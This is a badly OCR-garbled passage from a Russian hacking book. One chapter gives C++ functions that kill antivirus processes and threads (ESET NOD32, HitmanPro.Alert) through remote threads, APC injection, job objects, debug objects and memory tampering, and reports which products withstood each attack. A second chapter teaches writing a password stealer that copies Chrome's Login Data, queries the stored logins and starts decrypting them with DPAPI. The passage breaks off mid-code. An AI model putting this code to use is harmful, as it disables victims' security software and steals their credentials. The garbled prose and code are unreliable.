Ocranace MasieHbKass QyHKUMs ModyueHHs XeHmna. OOpaTH BHMMaHHE: OHA MO3BOJISET
3a/1aTh MpaBa A0CTyNa K HY)KHOMY MpoLeccy:

HANDLE get process_handle (IN DWORD pid, DWORD access)

{
HANDLE hProcess = OpenProcess (access, FALSE, pid);

if ('hProcess)

{
#ifdef DEBUG
std: :cout << "OpenProcess error: " << GetlastError() << std::endl;

#endif
return FALSE;

return hProcess;

}

Ecnu dyHkums orpabarsiBaeT ycreuHo, OHa BO3BpALLAeT XeHAJ MpoLecca, €C/IM HET —
FALSE. Boi3biBaeTcs oHa TakuMm 0Opa3oMm:

HANDLE hFirefox = get process handle(firefox pid, PROCESS_ALL ACCESS);

B npumepe Boitie mbl nony4yaem xeuan ¢ npasamu PROCESS_ALL_ACCESS.
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Cnoco0Obi 3aBepuweHus npoueccoB

CHayana nopaboTaeM ¢ MpPOLIECCaMH, a NMOTOM ¢ noTokaMu. S Oyay mucaTh ManeHbKHe
(bYHKLHH, KOTOpbIE IEMOHCTPUPYIOT NPUMEHEHHE Pa3IMYHbIX METOIOB IS 3aBepIIEeHHs
NPOLIECCOB U MOTOKOB. OOpaTH BHUMaHHE: MCIONIB30BaTh Oy/leM TOJNBKO HEOOXOAMMbIE
npaBa JOCTyMa ISl MPOLECCOB, MOTOMY YTO HE KaXIbIH MPOLIECC MO3BOJIMT OTKPHITH
ce6s ¢ npaamu PROCESS_ALL_ACCESS, 0coGeHHO 3TO KacaeTcsi 3allUTHBIX pe-
IIEHHH.

Jymato, mepBoe, 4TO MPUXOJUT B rOJIOBY, — 3TO NpuUMeHHTh GyHKuH0 NtTerminate-
Process:

BOOL kill procl (IN DWORD pid)

{
HANDLE hProc = get process_handle(pid, PROCESS_TERMINATE); //OGpaTn
BHMMAHME HA DeXMM OOCTyNa — Mel HE NPOCUM HUYETO JIMIIHETO

if (!NtTerminateProcess (hProc, 0))
{
#ifdef DEBUG

std::cout << "NtTerminateProcess error: " << GetLlastError() <<
std::endl;

#endif
return FALSE;
}
return TRUE;
}

Pasymeercs, ESET NOD32 Smart Security u HitmanPro.Alert nerko mpoTtuBocTosT
TakoMy mnpoctoMy Tpioky M BbiBoAAT coobumeHue ERROR_ACCESS _DENIED npwu
NonbITKe MX 3aBeplieHus. 3ato Opaysep Firefox ¢ ynoBonbcTBHEM 3akpbiBaeTcs.

Crnenyromuii cnocod 3aKkpbiTh NPOLIECC — CO3/1aTh MOTOK B MHTEPECYIOIEM Hac MpoLiec-
ce npu nomouH pyHkunu CreateRemoteThread u 3amycTuTh 3THM NOTOKOM (QYHKIHIO
ExitProcess. Bot koa dyHkuu:

BOOL kill proc2 (IN DWORD pid)

{
HANDLE hProc = get process_handle(pid, PROCESS CREATE THREAD |
PROCESS VM OPERATION) ;

HMODULE hKernel32 = GetModuleHandle ("kernel32.dll");
if (!'hKernel32)
return FALSE;

void *pExitProcess = GetProcAddress (hKernel32, "ExitProcess");
if (!pExitProcess)
return FALSE;

HANDLE hThread = CreateRemoteThread (hProc,
NULL,
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0,
(LPTHREAD START ROUTINE)pExitProcess,
NULL,
OI
NULL) ;

if (!hThread)

{

#ifdef DEBUG
std::cout << "CreateRemoteThread error: " << GetlLastError() <<

std::endl;
#endif
return FALSE;

return TRUE;
}

Kak BumHO M3 kopna, BHauyane mbl nosydaeM PID mpomecca ¢ mpaBamu PROCESS
CREATE_THREAD | PROCESS_VM_OPERATION (MiiHue npasa He Oepem), na-
nee nomyyaeM anpec ¢yHkuuu ExitProcess u3 6ubnuorexu kernel32.dll u, nHakonelw,
nepenaem ero B ¢gynkunio CreateRemoteThread. Firefox 3akpbiBaercs, a 3aliuMTHbIE
peLIeHHs NOKa3bIBAlOT CTOWKOCTh K 3TOMY IMpHEMY.

Cnenyromuii crioco6 6yaeT MaHHITYJIMpOBaTh ¢ 3aJaHUAMH (job) rmpu oMoy GyHKLUUHA
CreateJobObject — AssignProcessToJobObject — TerminateJobObject. CHavana
NpUBENY KOJ, MIOTOM Sl pacCKaXKy, YTO OH JIeJIaeT:

BOOL kill proc3(IN DWORD pid)
{
HANDLE hProc = get process handle(pid, PROCESS_SET QUOTA | PROCESS_ TERMINATE) ;

HANDLE job = CreateJobObjectA (NULL, NULL);
if (!job)
{
#ifdef DEBUG
std::cout << "CreateJobObjectA error: " << GetlastError() << std::endl;
#endif
return FALSE;

if (!AssignProcessToJobObject (job, hProc))
{
#ifdef DEBUG

std::cout << "AssignProcessToJobObject error: " << GetlLastError() <<
std::endl;
#endif
return FALSE;



0—— 68 —0O

if (!TerminateJobObject (job, 0))
{
#ifdef DEBUG

std::cout << "TerminateJobObject error: " << GetLastError() <<
std::endl;

#endif
return FALSE;

return TRUE;
}

Hrak, cHavana Mbl co3naem oObekT 3a1aHus ¢pyHkuueit CreateJobObjectA. O6bexT 3a-
JAaHUS — 3TO TakoW OOBEKT sapa, KOTOPbIH MO3BOJIsSET paboTaTh ¢ IPyMNMNoi MPOLECCOB.
Hy a B naHHOM ciy4ae rpynmna npoueccoB OyIeT cocTosTh U3 OHOro mpotiecca. Janee
¢yHkuueit AssignProcessToJobObject Mbl cBs3bIBaeM Halll MPOLECC C CO3AaHHBIM
00BEKTOM 3aJaHHUS.

®ynkuueit TerminateJobObject Mbl MOXXeM 3aBepLIMTB BCE MPOLIECCHI, KOTOPbIE CBsi3a-
HBbI ¢ 00BEKTOM 3a1aHus (B HALLEM Cy4ae OJMH mpouecc). Pe3ynbTar BhINOMHEHHS 3TON
noanporpammMel Takos: NOD32 ycnewHo Belaepskal 3Ty ataky, 6paysep Firefox 3akpbii-
¢, ¥ Takke 3akpbuics npouecc HitmanPro.Alert.

HepeXOﬂHM K ClI€AyIoLeEMy CﬂOCOGy 3aBEPUICHHA MPOLIECCOB — B 3TOT pa3 MbI MPUTBO-
PHMCH OTJIAAYHKOM!

BOOL kill procd4 (IN DWORD pid)

{
HANDLE hProc = get process_handle(pid, PROCESS SUSPEND RESUME) ;
HANDLE dbg obj = NULL;
NTSTATUS status = NtCreateDebugObject (&dbg obj, 0x2, NULL, O0x1);

status = NtDebugActiveProcess (hProc, dbg obj);
CloseHandle (hProc) ;

return TRUE;
}

3nece Mbl co3aeM 0OBEKT OTIIaAKH, Henob3ys ¢yHkimio NtCreateDebugObject. Yro-
OBl TIOHUMATB, YTO MPOMCXOJHUT, OCTAHOBUMCS Ha Hell HeMHoOro mnoapobOHee. Bot ee mpo-
TOTHIT:

NTSYSAPI

NTSTATUS

NTAPI

NtCreateDebugObject (

OUT PHANDLE DebugObjectHandle,

IN ACCESS_MASK DesiredAccess,

IN POBJECT ATTRIBUTES ObjectAttributes OPTIONAL,
IN BOOLEAN KillProcessOnExit );
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[Tapametp DebugObjectHandle — 310 xeHa1 o0bekTa OT/IagKH, KOTOPbIH MBI NIEpeaeM
no ccelike. Jlanee uaer Macka JA0CTYINOB, KOTOPYIO Mbl BbICTaBisieM B 0X2, 4TO 3HAUMT
DEBUG_OBJECT_PROCESSASSIGN, tpetse none atpuOyTOB OCTaB/ISiEM IyCThIM,
a yetBepToe ctaBuM B 0x1 — 310 3HauuT KillProcessOnExit.

Tenepb mpucoeauHsieM CO3JaHHBIM 00BEKT oTaakk K mpoueccy ¢yHkuued NtDebug-
ActiveProcess. Eciu nocne 3TOro 3akpbiTh XeHIJ, MPOLECC JODKEH ObITh 3aBeplLIEH
ornepalMoHHON cucTeMoid. XeHan 3akpbiBaeM kak Bcerna — CloseHandle. ITocne storo
noponsiTHeIM Firefox 3akpeiBaetcs Ge3 mpoGnem, kak u HitmanPro.Alert. Ho NOD32
MO-NPEXXHEMY BbIEP)KUBAET HAIll HATHCK.

Teneps nonpoOyem 3acTaBUTh 3aKpPBITHCS MPUIIOKEHHUE, 3aHSB BCIO ero namaTte. CHavana
KOI:
BOOL kill procS5 (IN DWORD pid)

{
HANDLE hProc = get process handle(pid, PROCESS VM OPERATION) ;

unsigned int count = 0;

size t sz = 0x400000000; // 16 T'caiT
while (sz >= 0x1000)
{

void *mem = VirtualAllocEx (hProc,

NULL,
SZ4
MEM RESERVE,
PAGE READONLY) ;
if (mem) count++; //
else sz /= 2; // ByIeM 3aHMMaThk [aMATbh OO [OCJIEOHETO

CloseHandle (hProc) ;

return TRUE;
}

Tyt Bce npocTo: npu nomouy GyHkmu VirtualAllocEx MelI neiTaeMcs 3aHATE BCIO 10C-
TYNHy namsate B npunoxeHuu ¢ ¢pmarom PAGE_READONLY, T. €. 10CTYynHO#H TOJIb-
ko ans urenus. Ot stux neiicteuii Firefox 3aBucaer u magaer OC, a 3alIMTHBIE MpPO-
rpaMMBbl MPOJOJIKAIOT paboTaTh U He MO3BOJISIOT pa3pyLIUTh ce0s TakuM 00pazoMm.

Crnenyrommii cniocod Moxox Ha mpeablayiuid. M3MeHuM aTpuOyTsl 1OCTyNa B NMaMsaTH
npunoxkennus Ha PAGE_NOACCESS npu nomoum ¢yHkuuu VirtualQueryEx —
VirtualProtectEx. Kon:

BOOL kill procé6 (IN DWORD pid)

{
HANDLE hProc = get process_handle(pid, PROCESS_QUERY INFORMATION |
PROCESS VM OPERATION | SYNCHRONIZE) ;



g—— 70 —0O

void* address = NULL;
while (address < 0x80000000000)

{
MEMORY BASIC INFORMATION mem bi;

DWORD mem = VirtualQueryEx (hProc,
address,
&¢mem bi,
sizeof (mem bi));

if (mem)

{
if (mem bi.State == MEM COMMIT)
{
DWORD protect state;
VirtualProtectEx (hProc,
mem bi.BaseAddress,
mem bi.RegionSize,
PAGE_NOACCESS,
&protect_state);

address = (void*) (mem bi.BaseAddress + mem bi.RegionSize);

}

else break;

CloseHandle (hProc) ;

return TRUE;
}

371ech MBI CHavasia B LIMKJIE TIOJy4aeM HyHyto HHdpopMmaumio ¢yHkuper VirtualQueryEx,
a MOTOM MeHseM arpuOyT 3alMThl perdoHa namsaTH npuiaokeHus Ha PAGE_
NOACCESS ¢ynkuueii VirtualProtectEx. HecMoTps Ha cXOXecTb € TMpeabIoyILIAM
METOZIOM, 3TOT TMOAXOJA OOpYLUMBaeT OJHO W3 3alUMTHBIX peweHudt — HitmanPro.Alert
1 O6paysep. NOD32 ocraercs Hernokoneoum.

Cnenyrommii Meton Oyaer ucrnonb3oBaTh yHkuuio DuplicateHandle ¢ nmapamerpom
DUPLICATE_CLOSE_SOURCE, 4T0oObI 3aKpbiTh BCE XCHIJIbI MpPOLIECCa U BBI3BATh
B HEM OLIMOKH:

BOOL kill proc7 (IN DWORD pid)

{
HANDLE hProc = get process handle(pid, PROCESS DUP HANDLE) ;

int i = 0;
while ( 1 < 0x10000 )
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HANDLE hndl = (HANDLE)i;
HANDLE dublicate h = NULL;

if (DuplicateHandle (hProc, hndl, GetCurrentProcess(), &dublicate h, O,
FALSE, DUPLICATE_CLOSE_SOURCE))

it4;
CloseHandle (dublicate h);

CloseHandle (hProc) ;

return TRUE;
}

IMocne Toro kak Mel npoiaemMcs ¢yHkuueii DuplicateHandle ¢ napamerpom DUPLICATE _
CLOSE_SOURCE no 10 000 xennnos, Firefox ynaner, a 3aliMTHele MpoOrpaMMbl He
NOCTpPaJaloT.

Hrak, MBI paccMoTpenu crnoco0bl Bo3aeicTBHA Ha camu npouecchl no ux PID. Teneps
nepenieM HeMocpeaCTBEHHO K MOTOKAM.

CnocobGbli 3aBepLlweHnsa NoToKoB

Jlns Havyana Hajo OyAeT MoJy4YuTh CIIMCOK MOTOKOB B HY)KHOM IpoLecce. ITO O4eHb M0o-
XO)K€ Ha MOJyYeHHe MPOLIECCOB, MOITOMY CHIIBHO 3a0CTPATh BHHUMAHHE HA 3TOM s HE
CTaHy, XOTS HEKOTOPbIE MOMEHTbI HEOOXOAUMO MPOSCHUTH. JIMCTUHT QYHKLMH MOJyye-
HHS TIOTOKOB 51 CHa0)Ky KOMMEHTapHsiMH, 0OpaTH Ha HUX BHUMaHHE.

BOOL get threads (IN const char * pProcName)
{

// I7a noyiydeHus COMCKa MOTOKOB Mel MCHOJb3YeM Ty Xe QYHKLMIO, 4YTO U IS
// noNyyeHMs COMcCKa NpOLIeCCOB, TOJIbKO MepenaeM eif napamerp TH32CS SNAPTHREAD

HANDLE pTHandle = CreateToolhelp32Snapshot (TH32CS SNAPTHREAD, O0);

ULONG process_tid[256];

int tid count = 0;

int number of threads = 0;

THREADENTRY32 ThreadEntry;
ThreadEntry.dwSize = sizeof (ThreadEntry) ;

DWORD pid = get pid from name (pProcName) ;

// Vicrosib3yeM Moxoxue OGyHKLUMM IJIS NOTOKOB, Kak M B Cllydae C Ipoleccamm
if (Thread32First (pTHandle, &ThreadEntry))
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dof{

if (ThreadEntry.dwSize >= FIELD OFFSET (THREADENTRY32,
th320wnerProcessID) +

sizeof (ThreadEntry.th320wnerProcessID)) {

// 3mecb ompemenseM MNOTOKM IJIs HYXHOT'O HaM IpoLecca
if (ThreadEntry.th320wnerProcessID == pid)

{
process_tid[*tid count] = ThreadEntry.th32ThreadID;

#ifdef DEBUG
std::cout << "PID: " << pid << " " << "ThreadID: " <<
process_tid[*tid count] << std::endl;

#endif

*tid count = *tid count + 1;
++number of threads;

ThreadEntry.dwSize = sizeof (ThreadEntry) ;
} while (Thread32Next (pTHandle, &ThreadEntry));

#ifdef DEBUG
std::cout << "Number Threads: " << number of threads << std::endl;

#endif

// Tlpouecc OmYH, a MNOTOKOB HECKOJIbKO. [IO3TOMY MCIOJIb3YEM LUMKJI, YTOOLI
oBbonTH UX BCe

for (; number of threads > 0; --number of threads)

{

//kill threadsl (tids[number of threads]); // B 3TOM LMKIJIE MEI
ByneM noMemwaTb QyHKLUMM yOUICTBaA [OTOKOB

//kill threads2 (tids[number of threads]);
//kill_threads3 (tids[number of threads]);

#ifdef DEBUG
std::cout << "Thread kill: " << number of threads << std::endl;

#endif

return TRUE;
}

HpH MOMOIIM 3TOH QJyHKuPlPI MBI 6y11eM B3aMMOAEUCTBOBATh C MOTOKAMHU HY>XHBIX HaM
MpOoLECCOB. I/ITaK, HepBLIﬁ croco6 3aBEPIICHHS MOTOKOB OYE€HDb MOXO0XK Ha TOT, KOTOpI:If;I
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Mbl HCIMOJb30BAIM C MPOLECCAMH. OTO OTKPBITHE TPEAOB MPH MOMOLIM (QYHKLHH
OpenThread c¢ napamerpom THREAD_SET_CONTEXT. Jlanee uaer nosy4yeHue
anpeca ExitProcess u nepenaua ero B ¢pyHkuuo QueueUserAPC, uto6Gel OHa nomnana
B OYepeib MOTOKa.

[Moxoxuit crnoco® Mbl MCIMOIB30BAIM C MPOLIECCAMH, TOJIBKO NMPUMEHANACh (QYHKLHS
CreateRemoteThread. ®ynkims QueueUserAPC no3Bonser BBINOMHATL KOJ B aJpec-
HOM MPOCTPAaHCTBE HY>KHOrO Mpoliecca, B KOHTEKCTe ero noroka. Koxa peanusauuu npo-
CTOI:
BOOL kill threadsl (IN DWORD tid)
{
HANDLE hTread = OpenThread (THREAD SET_ CONTEXT,
FALSE,
tid);

HMODULE hKernel32 = GetModuleHandle ("kernel32.d11l");
if (!'hKernel32)
return FALSE;

void *pExitProcess = GetProcAddress (hKernel32, "ExitProcess");
if (!pExitProcess)
return FALSE;

if (!'QueueUserAPC ( (PAPCFUNC)pExitProcess, hTread, 0))
{
#ifdef DEBUG
std::cout << "QueueUserAPC error: " << GetLastError() << std::endl;
#endif
return FALSE;

return TRUE;
}

A yxe nmyman, yuto NOD32 SS Ham He yAacTcsi CIOMMTH HUYEM, HO 3[1€Ch OH IPOTHYII.
VY Hac Bce-TakH MOJy4HIIOCh Pa3pyLIMTh €ro MOTOKH, BbI3BaTh 3aBHCAHHUE W NaJIbHEMHIIIEE
aBapuitHoe 3aBepiueHue. Yro uHTepecHo, HitmanPro.Alert Beiaepxan 3Ty aTaky, Hy a
Firefox, koHeuHO, pyXHy1.

[Tepexoaum k caenyrouieMy crnocody. OH npouie: OyaeM NpOCTO OTKPbIBATH TPEAbI MPO-
LIECCOB U MBITaThCs 3aBepLINTh WX npH oMok TerminateThread:

BOOL kill threads2 (IN DWORD tid)
{
HANDLE hThread = OpenThread (THREAD TERMINATE,
FALSE,
tid);
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if (!TerminateThread (hThread, 0))

{
#ifdef DEBUG
std::cout << "TerminateThread error: " << GetLlastError() << std::endl;

#endif
return FALSE;

return TRUE;
}

Crnioco6 mpocToit 1 He oueHb YPPEKTUBHBIH, OCOOEHHO NMPOTHB CEPbE3HBIX MPOrpaMM:
TakuM o0pa3om ypanock yOuTh Tosibko Firefox, ocTanbHble MPUIOXKEHHS BbIAEpPIKAIH

aTaky.
U nocnennuii cnoco®, KOTOPbIH MbI PaCCMOTPHUM, — 3TO MOMBITKA CMEHHTh KOHTEKCT

notoka (¢pynkuus SetThreadContext) ¢ nppDKKOM B HyJI€BbI€ JaHHbIE. DTO JOJDKHO BbI-
3BaTh OLIMOKY M aBapuiiHOE 3aBEepIIEHHUE MPUITOKEHHUS:

BOOL kill threads3(IN DWORD tid)

{
HANDLE hThread = OpenThread (THREAD SET CONTEXT,

FALSE,
tid).;
CONTEXT ctx;
memset (&ctx, 0, sizeof (ctx)):; // BelmendgeMm namATh CtxX M 3arojHaeM ee

Hy ISV
ctx.ContextFlags = CONTEXT CONTROL;

SetThreadContext (hThread, &ctx); // MeHseM KOHTEeKCT
CloseHandle (hThread) ;

return TRUE;
}

Hano ckaszaTh, 4TO BCE 3alLMTHBIE PELIEHWS BbIAEPXKAIU ITOT TPIOK, MOTHO TOJIBKO
Hec4acTHBIN Opaysep.

3aknoyeHue

B 3TOM paszene mMbl paccMoTpenu MeTobl 00¢dyckamu Bb30BOB GyHKUMH APl 1 u3yun-
JIX HECKOJIBKO CIOCOOOB 3aBEpIIEHHs MOTOKOB M MPOLIECCOB, HEMHOTO pa3o0pasikch, Kak
Windows paboTaeT ¢ HUMH, U BBISICHWJIH, YTO JIa)Ke 3allUTHbIE PEILEHHUs OPO He MOTYT
ceOs 3ammTuTh. Ho, Kak W3BeCTHO, YTOOBI CO31aTh XOPOILYIO 3aLUTY, HY)KHO HCKITIOYHUTh
BCe cabble MecTa, a 4ToObl c/IeNaTh YCNEUIHYI0 aTaKy — HY>KHO HalWTH BCEro OJHO Clia-
6oe MecTo. C 4eM MbI YCTEIIHO CIIPaBUIIUCH!
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5. NMuwem cTunep.
Kak BbiTawmTtb naponu Chrome u Firefox
CBOUMM pyKamMu

Nik Zerof

Thl HaBepHsKaA CIbILLIAT O TAKOM KJIacce 370BPeIHbIX MPUIOKEHUH, Kak cTunepsl. Ux 3a-
Jlaya — BBITALIUTh U3 CUCTEMBI JKEPTBbI LIEHHbIE IaHHBIE, B MEPBYIO OUepeib — Naposiu.
B aTOM paszaene KHUIM s pacckaxy, Kak HMEHHO OHH 9TO JIeJIaloT, Ha MpUMepe U3BJeye-
HMA naponei u3 6paysepos Chrome u Firefox, n nokaxy npumepsi koaa Ha C++.

Hrak, Gpay3epsl, B ocHOBe kKoTOpbIX JexKUT Chrome wnu Firefox, XpaHaT loruHel ¥ na-
poau nosab3oBarenei B 3amwudpoBaHHoM Buae B 6aze SQLite. Ota CYB/] koMnakTHa U
pacripocTpaHsercs GecruiaTHO Mo cBOOOAHOH NMUEH3UH. Tak ke, Kak U paccMaTpuBae-
Mbl€ HaMH Opay3epbl: BeChb UX KOJ OTKPBIT H XOPOLIO JOKYMEHTHPOBaH, YTO, HECOMHEH-
HO, MOMOJXKET HaM.

B npumepe Monyns cTWiIMHra, KOTOpbIH si NpuBeny, OyJeT akTMBHO MCIIONB30BAThCA
CRT wu npyrue ctopoHHue OMOIMOTEKH M 3aBUCHMOCTH, TUNa sqlite.h. Eciu TeGe HyxeH
KOMIAKTHBIA KO 6e3 3aBUCMMOCTEH, NMpUaeTcs ero HeMHoro nepepaborarb, U30aBHB-
IIMCh OT HEKOTOPbIX (PYHKLUHMH M HACTPOMB KOMIMMWJIATOP AOLKHBIM oOpasoM. Kak 310
czenath, s MOKa3biBall B MpeAblaylLel rnaee, B pazo. «Obogyckayus 6130606 WinAPl.

HYTO CKAXET AHTUBHPYC?

Peknamupys ceBou npoaykTbl, BUpyconucatenu yacto obpalialoT BHUMaHWe noTeHuuans-
HbIX NOKyNaTenei Ha To, YTO B A@HHbLIA MOMEHT UX CTUMNEP HE «NanuTCs» aHTUBUPYCOM. TyT
Hago NoOHUMMaTb, YTO BCE COBPEMEHHbIe U Bonee-MeHee cepbesHble BUPYCbhl N TPOSIHbI UMe-
10T MOAYNbHYIO CTPYKTYPY, KaXXAblii MOAYNb B KOTOPOI OTBEYaeT 3a YTO-TO CBOE: OAUH MO-
Aynb cobupaeT naponu, BTOPOW NPensTCTBYET OTnagke U aMynsauuun, TpeTun onpeaensieT
¢dakT paboTbl B BUPTyanbHON MalUMHE, YEeTBEPTbin NpoBoauT o06dyckauuio BbI3OBOB
WInAPI, naTbit pasbupaeTcs co BCTpoeHHbIM B OC ¢haiipBonom.

Tak 4To CyAWTb O TOM, «NanUTCS» ONPeAEneHHbIi METOA aHTUBUPYCOM UMU HET, MOXHO,
TOMbKO €CNU pedb UAET O 3aKOHYEHHOM «BOEBOM» MPUNOXEHUU, @ HE NO OTAENbLHOMY MO-
Aynio.

Chrome

Haynem ¢ Chrome. [{ns Havana naBaii monyuum ¢aiin, rae XpaHATCS y4deTHble 3alUCH
¥ naponu nons3osareneid. B Windows oH nexur no takomy aapecy:

C:\Users\%username% \AppData\Local\Google\Chrome\UserData\Default\Login Data
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Yto6bI coBepLIATh KaKHE-TO MAHUITYJISLIUM C 9TUM (aiiinoM, HykHO 1M60 yOUTH Bce mpo-
ueccol Opaysepa, uto Oyaer 6pocaTbes B ria3a, MO0 KyJaa-To CKOnMUpoBath (aiin Gasbl
H yXKe T0CJIe 3TOro HaYWHATh paboTaTh C HUM.

HaBaii HanumeM QyHKIHIO, KOTOpas Moy4yaeT MmyTh k 6a3ze maponeit Chrome. B kauect-
Be aprymeHra eii OyaeT nepenaBaThcsi MACCHB CHUMBOJIOB C pe3ysIbTaToM ee paboTsi (T. €.
MaccuB Oyner comepkaTh MyTh K ¢aiiny nmaposieit Chrome). @yHkuus Oyaer uMeTh clie-
JIyIOLIMN BUA:

#define CHROME DB PATH "\\Google\\Chrome\\User Data\\Default\\Login Data"

bool get browser path(char * db loc, int browser family, const char * location)
{

memset (db_loc, 0, MAX PATH);

if (!SUCCEEDED (SHGetFolderPath (NULL, CSIDL LOCAL APPDATA, NULL, 0, db loc)))

return 0;

if (browser family == 0) {
lstrcat (db_loc, TEXT(location));
return 1;

}

Bbi30B dyHKIMH:

char browser db[MAX PATH];
get_browser path(browser db, 0, CHROME DB PATH) ;

JaBaii BkpaTLie MOACHIO, YTO 37€Ch MPOUCXOAUT. MbI cpa3y muieM 3Ty (GyHKUHIO, MOjI-
pazymeBas Oynymee pacuimpeHve. OnuH U3 ee aprymeHToB — nosie browser_family,
OHO OyneT CHUrHaJM3UpoBaTh O ceMelcTBe Opay3epoB, 0a3y JaHHBIX KOTOPBIX MbI MOJTY-
yaeM (T. e. 6pay3epsl Ha ocHoBe Chrome wnu Firefox).

Ecnu ycnosue browser_family == 0 BeimonHsercs, To Mbl mnoiydaem 0a3y mapoJei
6pay3epa Ha ocHoBe Chrome, eciu browser_family == 1 — Firefox. Unentuduxarop
CHROME_DB_PATH yka3biBaeT Ha 6a3y naposieit Chrome. Jlanee Mbl nostyyaem myTthb
k 6a3e npu nomoiu pyHkuuu SHGetFolderPath, nepenaBas eii B kauecTBe aprymeHTa
CSIDL 3nauenue CSIDL_LOCAL_APPDATA, koTOpO€ O3Ha4aeT:

#define CSIDL LOCAL APPDATA 0x00lc // <user name>\Local Settings\Applicaiton
Data (non roaming)

Oyukuus SHGetFolderPath ycrapena, u B Microsoft pekoMeHIyIOT HCIOIB30BATh
BMecTo Hee SHGetKnownFolderPath. [Ipo6iema B ToM, 4To momaepka 31oi QyHKIHMH
HauyuHaercs ¢ Windows Vista, mo3ToMy s npuMeHun ee Oosee cTapblid aHAIOT AJis CO-
XpaHeHHs oOpaTHO# coBMecTUMOCTH. BoT ee nporotumn:

HRESULT SHGetFolderPath (
HWND hwndOwner,
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int nFolder,

HANDLE hToken,

DWORD dwFlags,

LPTSTR pszPath
)7

ITocne storo ¢yHkuus Istreat copmewaer pesynsrat paborsl SHGetFolderPath ¢ unen-
tupukatopom CHROME_DB_PATH.

ba3za maponeit nonydeHa, Teneps npucTynaeM k pabore ¢ Heil. Kak s y>xe roBopui, 3to
6aza nanHbIX SQLite, B3auMoaeicTBOBaTh ¢ KOTOpoi yno6HO yepe3 SQLite API. Onu
MOJKJIIOYAIOTCS C 3aroIoBoYHbIM Qaiinom sqlite3.h. /laBaii ckonupyem daiin 6a3bl 1aH-
HBIX, YTOOBI HE 3aHUMaTh €ro U He Mewarth paborte Gpaysepa:

int status = CopyFile (browser db, TEXT(".\\db_tmp"), FALSE);
if (!status) {
// return 0;

}

Tenepw noaxmovaemes k 6ase komanaou sqlite3_open_v2. Ee nporotun:

int sqlite3 open v2 (

const char *filename, /* Database filename (UTF-8) */
sqlite3 **ppDb, /* OUT: SQLite db handle */

int flags, /* Flags */

const char *zVfs /* Name of VFS module to use */

)i

IlepBblii aprymeHT — Hamia 6a3a AaHHbIX; MHPOpMALKMS O NOAKIIOUEHHH BO3BpALLAETCS
BO BTOpPOM apryMeHT, Aajibllie UAYT (yiaru OTKPbITHS, @ YETBEPTHIH apryMEHT OnpelesiseT
MHTepdeic onepalnoHHON CUCTEMBI, KOTOPBI JO/DKEH UCMOJIb30BaTh 3TO MOAKIIOYEHHE
Kk 6a3e aHHBIX, B HallleM ciyyae OH He HyxeH. Ecnu o1a ¢yHkuus otrpaboTaeT KOppeKT-
Ho, Bo3Bpauaercs 3HaueHHe SQLITE_OK, B nmpoTMBHOM cilyyae BO3Bpallla€TCs KOM
OLIHOKH:

sqlite3 *sql browser db = NULL;

status = sqlite3 open v2(TEMP_DB_PATH,
&sql_browser db,
SQLITE OPEN READONLY,
NULL) ;
if (status != SQLITE OK) {
sqlite3 close(sql browser db);
DeleteFile (TEXT (TEMP DB PATH) ) ;

O6paTu BHUMaHWe: Npy HEKOPPEKTHOM OoTpaboTke chyHKUMM HaM Bce paBHO Heobxoaumo
CaMOCTOATENbHO 3aKpbiTb NOAKNIOYEHME K 6a3e U yaanuTb ee Konuio.

Tenepb HauMHaeM HenocpeAcTBEHHO 0OpabaTeiBaTh AaHHbIE B 6ase. [l 3TOro Bocnosnb-
3yemcs ¢yHkuueit sqlite3_exec():
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status = sqglite3_exec(sql browser_ db,
"SELECT origin url, username value, password value FROM logins",
crack chrome db,
sql_browser db,
&err) ;
if (status != SQLITE OK)
return 0;

Ota QyHKIMS UMEET TaKOi MPOTOTHIT:

int sglite3_exec(

sqlite3*, /* An open database */

const char *sql, /* SQL to be evaluated */

int (*callback) (void*, int,char**,char**), /* Callback */

void *, /* 1lst argument to callback */
char **errmsg /* Error msg written here */

)i

INepBblit aprymeHT — Hama 6a3za maposieif, Bropoii — 310 komaHaa SQL, kotopas BbI-
tackuBaer URL d¢aiina, noruH, maponb ¥ MMs MOJIb30BATENs, TPETUI apryMeHT — 3TO
¢byHKIMs 06paTHOrO BBI30Ba, KOTOpas U OyneT pacuiMppoBbIBaTH MapoJIH, YeTBEPThI —
nepenaeTcs B Haury (yHKUHIO 0OpaTHOrO BbI30Ba, Hy a MATHIN apryMeHT coobuiaet 06
owubke.

JlaBaii ocraHoBuMcs noxpoGHee Ha callback-dyHkumu, kotopas pacungpossiBaeT napo-
nu. OHa OymeT NpUMEHSTBCS K Kaxa0i cTpoke u3 BblOOpku Hamero 3anpoca SELECT.
Ee mporotun — int (*callback)(void*,int,char**,char**), Ho Bce apryMeHTBHl HaM He
MOHANOOATCA, XOTH OOBsABIEHbl OHM JOKHBI ObiTh. CaMy (QYHKIHIO Ha30BEM
crack_chrome_db, HaurHaeM nucath ¥ OOBSBIATH HY)KHbIE TEPEMEHHbIE:

int crack chrome db(void *db_in, int arg, char **argl, char **arg2) ({

DATA BLOB data_ decrypt, data_encrypt;
sqlite3 *in db = (sqglite3*)db in;
BYTE *blob data = NULL;

sqlite3 blob *sqgl blob = NULL;

char *passwds = NULL;
while (sqglite3 blob open(in _db, "main", "logins", "password value", count++, O,
&sgl_blob) != SQLITE OK && count <= 20 );

B stom uukne ¢opmupyem BLOB (T. e. 6omnbluoii MacCHB ABOWYHBIX AaHHbBIX). Jlanee
BbIIENsAEM NMamsTh, untTaeM BLOB u nnumanuszupyem nons DATA_BLOB:

int sz_blob;
int result;

sz_blob
dt_blob

sqlite3 blob bytes(sgl_blob);
(BYTE *)malloc(sz_blob);
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if (!dt_blob) {
sqlite3_blob close(sql_blob);
sqlite3_close(in _db);

]

data_encrypt.pbData
data_encrypt.cbData

dt_blob;
sz_blob;

I

A Tenepb NMPHUCTYNMHUM HEMOCpeACTBEHHO K AemudpoBke. baza nanHeix Chrome 3awmmd-
poBaHa mexanu3moMm Data Protection Application Programming Interface (DPAPI). Cyts
3TOr0 MeXaHW3Ma 3aKJIIO4aeTcsi B TOM, YTO pacuiMpoBaTh JaHHBIE MOXKHO TOJBKO TMOJ
TOH YYETHOW 3amMChio, MOA KOTOPOHW OHM OblLiM 3awMdpoBaHbl. JpyrMMHu clOBaMH,
HEJb3s CTalMTh a3y JaHHBIX Maposiei, a MOTOM paclIM(pPOBaTh €€ Y)K€ Ha CBOEM KOM-
netotepe. [l paciundpoBky aaHHbIX Ham notpebyetcs ¢pyHkuus CryptUnprotectData:

DPAPI_IMP BOOL CryptUnprotectData (

DATA BLOB *pDataln,

LPWSTR *ppszDataDescr,
DATA BLOB *pOptionalEntropy,
PVOID pvReserved,
CRYPTPROTECT PROMPTSTRUCT *pPromptStruct,
DWORD dwFlags,

